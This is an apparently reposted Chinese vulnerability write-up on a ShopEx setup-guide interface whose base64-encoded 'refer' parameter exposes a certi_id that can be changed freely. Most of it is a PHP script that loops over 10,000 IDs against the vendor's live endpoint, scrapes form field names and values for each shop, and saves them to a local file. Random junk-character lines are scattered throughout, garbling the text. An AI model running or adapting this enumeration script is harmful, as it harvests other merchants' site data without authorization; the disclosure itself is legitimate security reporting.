ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面

+ Y9 }3 j, y" ]" @- R
4 Q! p+ P( c: c+ T: I
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
8 ~1 j) s4 A7 K- b& D( m

" P6 D1 d" n7 L* q
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
. ^* `0 t8 |9 M

6 [8 F$ }" ^+ h$ m9 s: J- [  T
1 D" ~/ U5 I7 A7 Q5 s我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
  q$ z! v& b2 x6 g
* n3 d3 @) K$ Y0 s/ o' j

<?php
5 p7 e; @7 P' Q
                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

                }

7 g: B4 j- F; F! U8 b- W6 ?                function ShowshopExD($cid) {
0 |. {8 M  s  G3 s- [
                $url='http://guide.ecos.shopex.cn/step2.php';
. Y: Y  _% S8 y) q. }/ r' B
+ D: z* ^* r0 p" d8 m2 _                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

& \- V% H% ?4 E' H        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
0 b/ b- H5 E  b& z! \
. Y1 ^% F( C" \  s. L        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
1 L" _. E+ F9 E# Z6 a
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
# \. z5 [' C5 W1 S/ D7 ?
+ F# a$ o1 u/ [& u        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

. {% P1 @- \2 C1 B/ L, K0 A( R' [        if(strpos($result,$refer))

        {
: T9 b. G5 K3 ^/ y# m: O& x
- i% U7 p: ?" g) c                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
: S  {: f' w& b' I. _4 t3 T" c
  K- V# M/ h$ d4 K- N                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
& A" }: ^. {- j
8 I9 p3 \/ l' d" q& |  V                foreach ($value[1] as $key) {

8 g& @" m. |: c+ A; n$ [                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

2 H  l& J8 w6 T                        echo $res[1][0].':'.$res[3][0]."\r\n";
' @/ H# Q- |9 @5 I
8 p3 t6 i, @, e; v+ `! m# H# r                        $col =$res[1][0].':'.$res[3][0]."\r\n";

, w: ~1 v# U. w  d% N3 k2 s                        fwrite($fp, $col, strlen($col));
2 A" T! y; @1 C% ^
* g/ ?2 |9 D& _# ~+ p                }

" E# {/ O- A; k& G# d! r                echo '--------------------------------'."\r\n";

* J: U7 S4 l7 ^$ ?& `2 N                fclose($fp);

        }

' c7 A5 T% O4 f7 K2 R0 I" w# z3 S        flush();

8 x* b+ R4 @0 A6 q% \        curl_close($ch);

                }
. H1 I! z5 O/ j8 U
2 k. i1 ^& c8 Y; i# ~?>
8 _4 k8 w- j, L# _# M漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
) x3 ^$ p( {% V8 l" g% p